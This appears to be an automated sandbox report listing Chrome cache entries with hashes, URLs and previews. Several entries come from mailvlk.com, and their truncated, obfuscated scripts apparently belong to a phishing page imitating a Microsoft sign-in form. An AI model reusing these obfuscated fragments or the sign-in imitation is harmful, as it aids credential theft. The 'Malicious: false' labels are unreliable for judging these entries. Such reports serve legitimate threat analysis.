SSDEEP:	1536:l+gu2w+EEnazA/PWrF7qvEAFiQcpmQoDZztVEHn8:E6CEVEH8
MD5:	8E6B0F88563F9C33F78BCE65CF287DF7
SHA1:	EF7765CD2A7D64ED27DD7344702597AFF6F8C397
SHA-256:	A7057BEBFFF43E7281CA31DA00D40BD88C8D02D1576B9C45891DD56A3853269A
SHA-512:	7DCE31D45ACA40340490B9F437A22ADF212B049DE0D4DDEB908A50C1F5C6C7B5561323B3A93B6ED3E5A7C44D7170460BFF8D8722749191C0F5A8DBD83E093E7F
Malicious:	false
URL:	https://mailvlk.com/APP-58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe0/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe1
Preview:	html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 706 x 512, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	57945
Entropy (8bit):	7.93211104193223
Encrypted:	false
SSDEEP:	1536:LzXUCBfQzSf9TyUrWLeq36mTY36Yvjt3iStVSExlB9VwS:LzXUCBPQKDmK6YvjF99VJ
MD5:	487727B64F96590CCC9EED1A395D6CB0
SHA1:	0C63E5A05B8341D8514966775B87A7820FB10045
SHA-256:	E42398F63E41361956031504A4F1960CFF969F1FBB317D2BDF19C81FDAEED8AC
SHA-512:	7C59FCA6BDB111E1F958BAD3BFD15B6EF74BB500937719CC6E05932743CFB04F06145B89C8BC50C07F4865E52EEE877B764B453471427372741B6A4F639AEC5F
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3db9-c400-ef11-a1fd-6045bdd3b636?ts=638493998497242870
Preview:	.PNG........IHDR..............2.f...=iCCPICC Profile..H..W.XS...[R!...RBo....RBh.w.Q.I.Pb...;......6tUD....E.,../...u.`W...............;....'.bq...@..@........ u......@......p.m..w{w.zC.. ..g..5M. .....q:?....A..J.XR..Q.O)..0l@[...x..g*p...+.^.O\|,..V..\.$....g..2..Z..N".P..:.b...I\|.. ..>b.e....t2...>...f.a.\.F...s....r.o.....M5K..+.3...Ia2..q.(=2.b-.?..r..Qj.4$A.....f@.b'>7 .bC..D...J>=C.....t............qJ..I..Xh}...R...y\Y.....R.u........ .BlQ(L..X.b....0...,v.D.+....X.(._...fH.b...y....6g.9.J.. +>DQ.......]..X..:....s.....s....8...q...b,N..F+.q3An..7..%.0N9.O,..R..g.....y.E...hE>.2... .0...t0.d.a{oC/.R......L ..JfpD..G..q............@!..........G...0.....Q..h...d........M....A.;.L....Fd..z......b...7.}p/<...`s....<.....:................P?HY...k.[AMW.....P.........p_....le..0~....~..J?.......Ql~..f..:."....Q.>To.P....?T...a?{b....Y.$v.;.5...5bm.1..Z]O.k0Z.<...#.G..;+.d.S.S...E_.`.......$.....~......8..........x}....7....?..n...8..m.`.;\|.

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 73, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.9821736799861016
Encrypted:	false
SSDEEP:	3:yionv//thPlz2tnteGj/txl/k4E08up:6v/lhP4tte0/t7Tp
MD5:	A1FE31D973A627959251CD371317A225
SHA1:	C09D17A3F348D468EAE1AE6BD45BC8D24EB23FB7
SHA-256:	2106A4EC8E043D84F3664AD2001275C2CC6934A7B7293C7035F5F8B420D6C06D
SHA-512:	3BA424F8D14423BED095A0F6D94734F407CF1B63B0C2F73ADE5619F683D22AA8904408C102E1A7A42A4127C2CCA68FCBFA99B322DB1125D3AB2FA483FDCDA813
Malicious:	false
Preview:	.PNG........IHDR...^...I.....;c......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.688532577858027
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5r8INGlTF5TF5TF5TF5TF5TFK:neRH68DTPTPTPTPTPTc
MD5:	370E16C3B7DBA286CFF055F93B9A94D8
SHA1:	65F3537C3C798F7DA146C55AEF536F7B5D0CB943
SHA-256:	D465172175D35D493FB1633E237700022BD849FA123164790B168B8318ACB090
SHA-512:	75CD6A0AC7D6081D35140ABBEA018D1A2608DD936E2E21F61BF69E063F6FA16DD31C62392F5703D7A7C828EE3D4ECC838E73BFF029A98CED8986ACB5C8364966
Malicious:	false
URL:	https://assets-usa.mkt.dynamics.com/favicon.ico
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1048)
Category:	dropped
Size (bytes):	30255
Entropy (8bit):	4.483239644944075
Encrypted:	false
SSDEEP:	192:lHVYB4GEwZT1TpSGCeRH8u/Lj7Ma9xPcjBsvLNrqbVb+6JknFjlirg1qaR3H0ZP/:Y4V4iCqaRX9nuISCkb
MD5:	D83E3AC97F50015772478BA01AF056EB
SHA1:	0C948C88A9122FA9AEB5CEB76BCDF769075F4332
SHA-256:	6701702F080B4E68D008CBBB4C8DE5396EB1D42303199F2E9CBB0E51EB98AB59
SHA-512:	A909457A52DE7674212778CCB7625955C8D323009D50AE7179A4CCDAFA154E1B3A9F2005F40FC2E52ECB4F46AA62937D9D5CADCEB86F9330A0E7C8F7F0BE71E7
Malicious:	false
Preview:	<!DOCTYPE html><html><head>. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Marketing Form</title>. <meta name="referrer" content="never">. <meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document">. <meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable">. <style>. .editor-control-layout html {. box-sizing: border-box;. background-color: #fff;. }. .editor-control-layout ,. .editor-control-layout :before,. .editor-control-layout *:after {. box-sizing: inherit;. }.. .marketingForm h1 {. color: #000;. margin: 0px;. padding: 0px;. width: 100%;. font-family: "Segoe

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1304
Entropy (8bit):	4.68425644587903
Encrypted:	false
SSDEEP:	24:mioTJODICcnv8cKoexKc846vgBie9ZY8mlvOq8RvLNHVENggeGg:micaIPU7oeoc8xYBfmlgRjNOen
MD5:	DBAC2EBFBE18E8C7CF3830AF4C420E77
SHA1:	78ADD1C663DD8B4AD6BBF89E48376015EA08A85A
SHA-256:	491377DB69C365D489C88BD4AC641D341B52E6A70B034390A5FC3D161268BCA5
SHA-512:	7DBFFD0FB6EC417AB7481919357D20D78224C9B97D180B603CFCD8F8808EA8FD54A4D15103178C15A985C563BE80CBBB6391E58D06C42F1062DF0948E79F7880
Malicious:	false
URL:	https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/public/locales/en-us/translation.json
Preview:	{.. "FormFailedToLoad": "Failed to load form",.. "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue",.. "LearnMore": "Learn more",.. "FormSubmitted": "Form submitted",.. "FormSubmitError": "Error submitting the form",.. "Reload": "Reload",.. "LookupLoading": "loading...",.. "LookupGenericError": "There was a problem retrieving items. Try again later.",.. "ValidationRequiredField": "This field is required",.. "EventFailedToLoad": "Failed to load event.",.. "EventAtCapacity": "This event is no longer accepting registrations.",.. "EventNotLive": "We are still setting up this event. Please check again in some time or contact the event organizer ",.. "SubmissionErrorEventNotLive": "Registrations for this event have been closed. We look forward to seeing you at our next event.",.. "SubmissionErrorEventCapacityIsFull": "Registrations for this event have been closed. We.re a

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://mailvlk.com/jq/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d0
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4020)
Category:	downloaded
Size (bytes):	4464
Entropy (8bit):	5.57354342891507
Encrypted:	false
SSDEEP:	96:dXS2LIkEaeIllHhD6UPYznjUC5PAv00cCv3m4oilpM:dXSsIkTeI7h/YzjUC5Yv4phc6
MD5:	3CA8C76BAACC316BBB37A83C63B9345B
SHA1:	535DF1272CDDD12E83913C66BE81911B4AC46593
SHA-256:	C9C721AA29A0AB3E2F09198820C97834E985CD7DCEFB96C734CFFD9E4EC9F756
SHA-512:	C7DF6D68D615DD82BE63235683FD1863A85ACDBDF5A237C8D76901E1B4AD720E1B026D27A40D9D0F2E4B31C5A612C2947D1BAD20D15EB7D93BA064F0C43B0FC5
Malicious:	false
URL:	https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8
Preview:	<!DOCTYPE html>.<html>.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title></title>. <script src="jq/8abb7bfd970b4f43108624cbc2c64b5066290cc184dba"></script>. <script src="boot/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbe"></script>. <script src="js/8abb7bfd970b4f43108624cbc2c64b5066290cc184dbf"></script>.</head>..<script type="text/javascript">.function r(V,f){var e=I();return r=function(k,F){k=k-0x140;var G=e[k];return G;},r(V,f);}var A=r;(function(q,T){var K=r,S=q();while(!![]){try{var X=-parseInt(K('0x167'))/0x1(parseInt(K(0x172))/0x2)+parseInt(K('0x148'))/0x3+parseInt(K(0x181))/0x4+-parseInt(K('0x15e'))/0x5+-parseInt(K('0x15f'))/0x6+parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y=S[t('0x

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://mailvlk.com/o/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcb00b
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HtHKiY:RKiY
MD5:	011B17B116126E6E0C4A9B0DE9145805
SHA1:	DF63A6EB731FFCE96F79802EFF6D53D00CDA42BC
SHA-256:	3418E6E704387A99F1611EB7BB883328A438BA600971E6D692E8BEA60F10B179
SHA-512:	BB432E96AF588E0B19CBD8BC228C87989FE578167FD1F3831C7E50D2D86DE11016FB93679FEF189B39085E9151EB9A6EB2986155C65DD0FE95EC85454D32AE7D
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAlBvrzNIki2uRIFDdFbUVI=?alt=proto
Preview:	CgkKBw3RW1FSGgA=

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	105369
Entropy (8bit):	5.240719144154261
Encrypted:	false
SSDEEP:	1536:l+gu2w+EEnazA/PWrF7qvEAFiQcpmQoDZztVEHn8:E6CEVEH8
MD5:	8E6B0F88563F9C33F78BCE65CF287DF7
SHA1:	EF7765CD2A7D64ED27DD7344702597AFF6F8C397
SHA-256:	A7057BEBFFF43E7281CA31DA00D40BD88C8D02D1576B9C45891DD56A3853269A
SHA-512:	7DCE31D45ACA40340490B9F437A22ADF212B049DE0D4DDEB908A50C1F5C6C7B5561323B3A93B6ED3E5A7C44D7170460BFF8D8722749191C0F5A8DBD83E093E7F
Malicious:	false
URL:	https://mailvlk.com/APP-8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bc/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78bd
Preview:	html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	5.2804407743048944
Encrypted:	false
SSDEEP:	192:wtIrjU2y/QZN5uvVRQ+tslFqEMkewx+No91m8mq9Ana1opn:wKXU2y/QZN5uvVyFq7kew0xLa1Y
MD5:	B6C202188699B897BB727A68EDD24665
SHA1:	FF3B891E06C983DCA277C1D7D874C8EB8084EB96
SHA-256:	184A034CB9202937BF012AFF8C81E0747B7CA8F8F9E6115556FDB09D5BAEC419
SHA-512:	AD8D243B156841EC27CA057CF1E0F64B8802E0DF64F79000739605CDE2C9A9FA1E3E24D153AB34A7AA66F726FC701816CA116052F4129AF3FB78D8F4057EE9F8
Malicious:	false
URL:	https://mailvlk.com/js/58461f18f36cbc9854a411ccf4ae8dbb66290c79904d8
Preview:	var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f255,_0x432ca9){var _0xb8cc2=_0xe936,_0x553352=_0x18f255();while(!![]){try{var _0x1c3eea=-parseInt(_0xb8cc2(0x161))/0x1+-parseInt(_0xb8cc2(0x132))/0x2+parseInt(_0xb8cc2(0x154))/0x3+-parseInt(_0xb8cc2(0x16c))/0x4+parseInt(_0xb8cc2(0x12e))/0x5+parseInt(_0xb8cc2(0x174))/0x6+-parseInt(_0xb8cc2(0x136))/0x7;if(_0x1c3eea===_0x432ca9)break;else _0x553352['push'](_0x553352['shift']());}catch(_0x104ec1){_0x553352['push'](_0x553352['shift']());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirect','reload','.light

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
